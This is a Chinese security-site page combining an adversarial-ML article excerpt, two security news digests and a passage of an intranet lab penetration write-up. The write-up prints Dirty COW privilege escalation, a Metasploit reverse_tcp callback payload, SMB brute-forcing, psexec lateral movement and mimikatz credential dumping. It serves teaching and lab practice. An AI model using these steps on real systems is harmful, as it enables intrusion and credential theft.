Ω(z)(例如如果特征值是有界的),要操作的特征集对于每个恶意样本通常是不同的。 攻击者的目标是最小化上面的式子,但是对于每个特征独立地估计 wˆ 的每个分量为:  这相当于鼓励攻击者添加(删除)在良性样本中更频繁出现(不存在)的重要特征,使恶意样本的概率分布更接近良性数据的概率分布。 在本部分最后,再捎带介绍后文会提到的两个概念。 F1分数: F1分数(F1 Score)是统计学中用来衡量二分类模型精确度的一种指标。 它同时兼顾了分类模型的精确率和召回率。 F1分数可以看作是模型精确率和召回率的一种调和平均,它的最大值是1,最小值是0。 ROC曲线: ROC 曲线(接收者操作特征曲线)是一种显示分类模型在所有分类阈值下的效果的图表。该曲线绘制了以下两个参数:真正例率TPR(在我们下面的实战中,就是恶意样本的检出率),假正例率FPR。 0x05实战 我们下载该数据集并解压:  简单查看一下数据:  可以看到共下载了12550个样本,其中良性样本数量为12000,恶意样本数量为550。 我们使用支持向量机对其进行检测,首先用一半的数据集作为训练集,在其上进行训练:  其中,CClassifierSVM类的定义如下:  训练完成后打印其F1分数:  绘出ROC曲线:  接着我们来尝试使用XAI技术(可解释性AI)来解释训练得到的模型是以什么为依据将样本判定为良性或恶意。 我们使用基于梯度的解释方法:  CExplainerGradientInput类定义如下,我们在下面会用到其explain方法:  我们尝试对于一个良性样本和一个恶意样本,给出解释并分别列出对决策结果最大的前10个特征。 先来看对良性样本的解释:  这里的true class:0,是说该样本为良性样本。对应地,下图中true class:1则说明其为恶意样本。 我们来看看返回的结果,负号说明这些特征是与决策结果负相关,或者换句话说,如果出现这些特征,那么样本是良性的可能性大。  从上图可以看到与之前相反的结果,大多数特征具有正相关的值,这意味着,出现了这些正相关的特征,则样本极有可能是恶意的。 前面我们在检查数据的时候已经知道,这批样本共有1227080个特征。而从此处的结果可以看到,打印出的前10个特征已经占据了50%左右的相关性了,说明该机器学习模型倾向于将大部分权重分配给一组小的特征。 如果攻击者发现了这一点,这时候只需稍微改动恶意样本中正相关性较大的特征,就能欺骗模型将其分类为良性样本。当然实际中不需要手动去修改,我们还有对抗样本的技术,可以自动修改特征来欺骗分类器。  我们这里使用带线性搜索的投影梯度下降技术来创建可以对抗检测安卓恶意软件的SVM分类器的对抗样本。这里需要注意,和图片不同,在生成图片的对抗样本时,基本是不受约束的,图片不论怎么修改,还是一张图片。但是对于程序来说,添加或者删除某些特征,可能程序就不可用了。比如我们在一个恶意程序上做对抗样本,如果改动幅度过大,可能生成的对抗 样本确实被分类器认为是良性的,但是该对抗样本可能已经失效的,即无法执行恶意行为,那么就失去了对抗样本的意义。 我们的经验就是一般不要轻易删除某些特征,尤其是不要删除manifest组件,因为容易破坏程序的功能。相对地,添加特征更安全一些,比如添加权限就不会影响任何现有功能。 我们来设置攻击参数:  这里主要关注distance和y_target。 distance我们设为l1,因为每个特征是一个布尔变量(0或1),我们希望在一次迭代时只改变一个特征(从0到1,或者从1到0)。 y_target设为0,是希望生成的对抗样本被归类为良性。(这里我们指定了攻击目标,在对抗样本中称为定向攻击) 接着发动攻击:  该类定义如下:  画出攻击后的情况:  从图中可以看到,在改变了不到10个特征之后,恶意样本的检出率就低于50%了,证实了对抗样本攻击的有效性。 相关课程:《https://www.yijinglab.com/cour.do?w=1&c=CCIDaa5a-85bb-4c6d-90fa-d61c89e7a81c (学习如何将机器学习与网络安全结合起来,使用机器学习来辅助网络安全问题的解决。) 0x06参考 1.https://zh.wikipedia.org/wiki/%E6%94%AF%E6%8C%81%E5%90%91%E9%87%8F%E6%9C%BA 2.Not just a blackbox: Learning important features through propagating      activation differences 3.Explaining Black-box Android Malware Detection 4.Is Deep Learning Safe for Robot Vision?Adversarial Examples against the iCub Humanoid 5.Yes, Machine Learning Can Be More Secure!A Case Study on Android Malware Detection 6.《机器学习》、《深度学习》
网络安全日报 2021年07月22日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、CNCERT发布2020年中国互联网网络安全报告 https://mp.weixin.qq.com/s/jAhWZzaq6mpyYt50L78Bhg 2、Kelihos僵尸网络作者被判入狱 https://securityaffairs.co/wordpress/120374/cyber-crime/kelihos-botnetmaster-peter-levashov-sentence.html 3、Linux 内核中的 LPE 漏洞影响大多数Linux发行版 https://securityaffairs.co/wordpress/120365/security/lpe-flaw-linux-kernel.html 4、Google Cloud 推出新的政务零信任产品 https://www.securityweek.com/google-cloud-introduces-new-zero-trust-offerings-government 5、Oracle 发布 2021 年 7 月更新含 342 个安全补丁 https://www.securityweek.com/oracle-releases-july-2021-cpu-342-security-patches 6、Chrome 92 带来多项隐私、安全改进 https://www.securityweek.com/chrome-92-brings-several-privacy-security-improvements 7、沙特阿美因数据泄露面临5000W美元勒索赎金 https://www.securityweek.com/saudi-aramco-facing-50m-cyber-extortion-over-leaked-data 8、XLoader 恶意软件现已升级可攻击 macOS 系统 https://thehackernews.com/2021/07/xloader-windows-infostealer-malware-now.html 9、恶意 NPM 包从Chrome浏览器中窃取用户保存的密码 https://thehackernews.com/2021/07/malicious-npm-package-caught-stealing.html 10、Aruba Networks路由器被发现存在多个漏洞
网络安全日报 2021年07月21日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、存在16年的漏洞影响数百万台HP、施乐和三星打印机 https://securityaffairs.co/wordpress/120358/security/cve-2021-3438-printer-driver-flaw.html 2、Fortinet 修复了 FortiManager 和 FortiAnalyzer 中的高危漏洞 https://securityaffairs.co/wordpress/120350/security/fortinet-fortimanager-fortianalyzer-bug.html 3、微软获得法院授权,删除 BEC 活动中使用的相似文字域名 https://securityaffairs.co/wordpress/120334/cyber-crime/microsoft-bec-campaign.html 4、罗克韦尔自动化 MicroLogix PLC 存在漏洞可导致远程DoS攻击 https://www.securityweek.com/vulnerability-exposes-micrologix-plcs-remote-dos-attacks 5、网络安全研究人员披露一个名为“ MosaicLoader ”的新的恶意软件 https://thehackernews.com/2021/07/this-new-malware-hides-itself-among.html 6、马克龙等13位国家元首和政府首脑都是Pegasus 项目监控对象 https://www.theguardian.com/world/2021/jul/20/emmanuel-macron-identified-in-leaked-pegasus-project-data 7、网络钓鱼活动利用Word文档分发恶意软件 https://www.fortinet.com/blog/threat-research/fresh-malware-hunts-for-crypto-wallet-and-credentials 8、Umbraco即将修复其表单包中的RCE漏洞 https://portswigger.net/daily-swig/umbraco-flags-pending-security-patch-for-rce-vulnerability-in-forms-package 9、美国一著名律师事务所披露勒索软件攻击 https://www.securityweek.com/law-firm-campbell-conroy-oneil-discloses-ransomware-attack 10、微软将 Teams 移动应用程序添加到漏洞赏金计划 https://www.securityweek.com/microsoft-adds-teams-mobile-applications-bug-bounty-program
记一次内网靶场实战(下篇)
(接上篇) 绕过disable_functions 但是这里命令执行返回的是127,应该是disable_functions禁用了命令执行的函数,在windows下绕过disable_functions的方法虽然很少,但是在linux里面绕过disable_functions的方法却有很多,这里就不展开说了 这里为了方便我直接使用的是蚁剑里自带的插件绕过disable_functions,可以看到已经上传脚本操作成功了 这里我直接去连接上传的这个.antproxy.php,这里理论上是应该用原来的密码连接过去就可以执行命令了,但是这和地方不知道为什么返回数据为空我淦! 这里只好用最原始的方法,上传一个绕过disable_functions的py,通过传参的方式执行系统命令 测试一下传参为whoami,可以看到这里是一个低权限www-data ifconfig看一下网卡情况,这里很奇怪,因为之前我们在扫描的时候这台CentOS的ip应该是192.168.1.0/24这个网段的,但是这里ifconfig出来却是192.168.53.0/24这个网段,当时说实话有点懵 arp -a查看下路由表,可以看到都是192.168.93.0/24这个网段 再看一下端口的进出,发现都是93这个网段 interfaces中配置的静态网卡也是93这个网段 Nginx反向代理 那么到这里已经很明显了,也就是说我们之前拿到的那台linux的192.168.1.0/24这个网段相当于一个公网IP,但是真正的主机应该是192.168.93.0/24,但这个是一个内网网段,所以说最符合这种情况的就是nginx反向代理 因为之前nginx反代的情况基本没遇到过,所以这里顺带补充一下自己的盲区 何为代理 在Java设计模式中,代理模式是这样定义的:给某个对象提供一个代理对象,并由代理对象控制原对象的引用。 可能大家不太明白这句话,在举一个现实生活中的例子:比如我们要买一间二手房,虽然我们可以自己去找房源,但是这太花费时间精力了,而且房屋质量检测以及房屋过户等一系列手续也都得我们去办,再说现在这个社会,等我们找到房源,说不定房子都已经涨价了,那么怎么办呢?最简单快捷的方法就是找二手房中介公司(为什么?别人那里房源多啊),于是我们就委托中介公司来给我找合适的房子,以及后续的质量检测过户等操作,我们只需要选好自己想要的房子,然后交钱就行了。 代理简单来说,就是如果我们想做什么,但又不想直接去做,那么这时候就找另外一个人帮我们去做。那么这个例子里面的中介公司就是给我们做代理服务的,我们委托中介公司帮我们找房子。 何为反向代理 反向代理和正向代理的区别就是:正向代理代理客户端,反向代理代理服务器。 反向代理,其实客户端对代理是无感知的,因为客户端不需要任何配置就可以访问,我们只需要将请求发送到反向代理服务器,由反向代理服务器去选择目标服务器获取数据后,在返回给客户端,此时反向代理服务器和目标服务器对外就是一个服务器,暴露的是代理服务器地址,隐藏了真实服务器IP地址。 反向代理的好处 那么为什么要用到反向代理呢,原因有以下几点: 1、保护了真实的web服务器,web服务器对外不可见,外网只能看到反向代理服务器,而反向代理服务器上并没有真实数据,因此,保证了web服务器的资源安全 2、反向代理为基础产生了动静资源分离以及负载均衡的方式,减轻web服务器的负担,加速了对网站访问速度(动静资源分离和负载均衡会以后说) 3、节约了有限的IP地址资源,企业内所有的网站共享一个在internet中注册的IP地址,这些服务器分配私有地址,采用虚拟主机的方式对外提供服务 了解了反向代理之后,我们再具体的去探究一下Nginx反向代理的实现 1、模拟n个http服务器作为目标主机用作测试,简单的使用2个tomcat实例模拟两台http服务器,分别将tomcat的端口改为8081和8082 2、配置IP域名 192.168.72.49 8081.max.com 192.168.72.49 8082.max.com 3、配置nginx.conf upstream tomcatserver1 {    server 192.168.72.49:8081;    } upstream tomcatserver2 {    server 192.168.72.49:8082;    } server {        listen       80;        server_name  8081.max.com;        #charset koi8-r;        #access_log  logs/host.access.log  main;        location / {            proxy_pass   http://tomcatserver1;            index  index.html index.htm;        }        } server {        listen       80;        server_name  8082.max.com;        #charset koi8-r;        #access_log  logs/host.access.log  main;        location / {            proxy_pass   http://tomcatserver2;            index  index.html index.htm;        }            } 流程: 1)浏览器访问8081.max.com,通过本地host文件域名解析,找到192.168.72.49服务器(安装nginx) 2)nginx反向代理接受客户机请求,找到server_name为8081.max.com的server节点,根据proxy_pass对应的http路径,将请求转发到upstream tomcatserver1上,即端口号为8081的tomcat服务器。 那么这里很明显还有一台linux主机在整个拓扑内做为内网Ubuntu的反向代理主机,这时候我翻缓存文件夹的时候发现了一个mysql文件夹,跟进去看看 发现了一个test.txt,不会又是管理员忘记删了的账号密码吧(手动狗头) 因为之前我们扫端口的时候发现开了22端口,那么这个账号密码很可能就是ssh的帐号密码 使用ssh连接尝试 连接成功到了另外一台linux主机 看一下主机和ip情况,可以发现这台主机已经不是我们之前的那台Ubuntu了,而是CentOS,而且双网卡,一张网卡是我们之前扫描时候得出的1.0/24这个网段的ip,还有一个ip就是93.0/24这个内网网段的ip,那么这台linux主机就是Ubuntu的反向代理主机无疑了 脏牛提权 这里直接选择linux提权首选的脏牛进行提权 gcc -pthread dirty.c -o dirty -lcrypt //编译dirty.c ./dirty 123456 //创建一个高权限用户,密码为123456 可以看到这里已经执行成功,脏牛执行成功过后会自动生成一个名为firefart的高权限用户,密码就是我们刚才设置的123456 这里我们切换到firefart用户进行查看 内网渗透 centos上线msf 这里因为是linux的原因,就不使用cs上线的打法了,先生成一个linux的payload上线到msf use exploit/multi/script/web_delivery set lhost 192.168.1.10 set lport 4444 set target 7 run 运行之后会给出一个payload use exploit/multi/script/web_delivery set target 7     set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.1.10 set lport 4444 exploit 将payload复制到centos执行 可以看到反弹session已经成功 socks代理进入内网扫描 这里使用添加路由、使用socks_proxy模块进入内网 route add 192.168.93.0 255.255.255.0 1 route print use auxiliary/server/socks_proxy set version 4a run 然后在/etc/proxychain.conf文件中添加代理的ip和端口,这里一定要和设置里的对应 这里可以使用proxychain + nmap进行扫描,这里为了方便我就直接使用msf中的模块对192.168.93.0/24这个网段进行扫描了。注意这里在实战的时候可以适当把线程调小一点,不然流量会很大,这里因为是靶场的原因我就直接调成了20 use auxiliary/scanner/discovery/udp_probe set rhosts 192.168.93.1-255 set threads 20 run 这里扫描完之后可以发现,内网里有3台主机存活,分别是192.168.93.10 192.168.93.20 192.168.93.30 但是这时候信息还不够,调用nmap继续扫描详细信息 nmap -T4 -sC -sV 192.168.93.10 192.168.93.20 192.168.93.30 首先是10这台主机,可以看到开放了88跟389这两个端口,熟悉的师傅都应该知道这两个端口大概率锁定了这台主机就是域控 20这台主机开的都是几个常规端口,值得注意的就是1433端口,意味着20这台主机上有mssql服务 30这台主机也是开了几个常规端口,跟前面两台主机相比就没什么特征端口,应该是一个普通的域成员主机 永恒之蓝尝试 这里我发现三台主机都开了139、445端口,那么先使用永恒之蓝模块先批量扫描一波看有没有可以直接用永恒之蓝打下来的主机 这里没有能够直接用永恒之蓝拿下的主机,win7跟2008匿名管道都没有开所以利用不了 密码枚举 因为这三台主机都开了445端口,可以使用smb,使用msf中的smb_login模块进行密码枚举尝试 use auxiliary/scanner/smb/smb_login set rhosts 192.168.93.20 set SMBUser Administrator set PASS_FILE /tmp/1W.txt run 这里很幸运,跑出来的密码是123qwe!ASD刚好在我的1W.txt这个字典里面 psexec横向移动 这里使用proxifier将msf的socks代理到本地,忘记截图了orz... 这里既然已经拿到了administrator的密码,使用ipc先连接到20这一台主机,使用copy命令将mimikatz拷贝到20这台主机上 然后使用psexec获取一个cmd环境,使用mimikatz抓取hash并保存为日志 psexec64.exe \\192.168.93.20 cmd mimiKatz.exe log privilege::debug sekurlsa::logonpasswords type mimikatz.log读取日志内容可以发现域管的帐号密码为Administrator zxcASDqw123!! 那么这里也直接使用ipc连接直接连接10这台主机,即TEST这个域的域控,可以看到已经连接成功了 使用命令查看机密文件 dir \\192.168.93.10\C$\users\Administrator\Documents type \\192.168.93.10\C$\users\Administrator\Documents\flag.txt
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页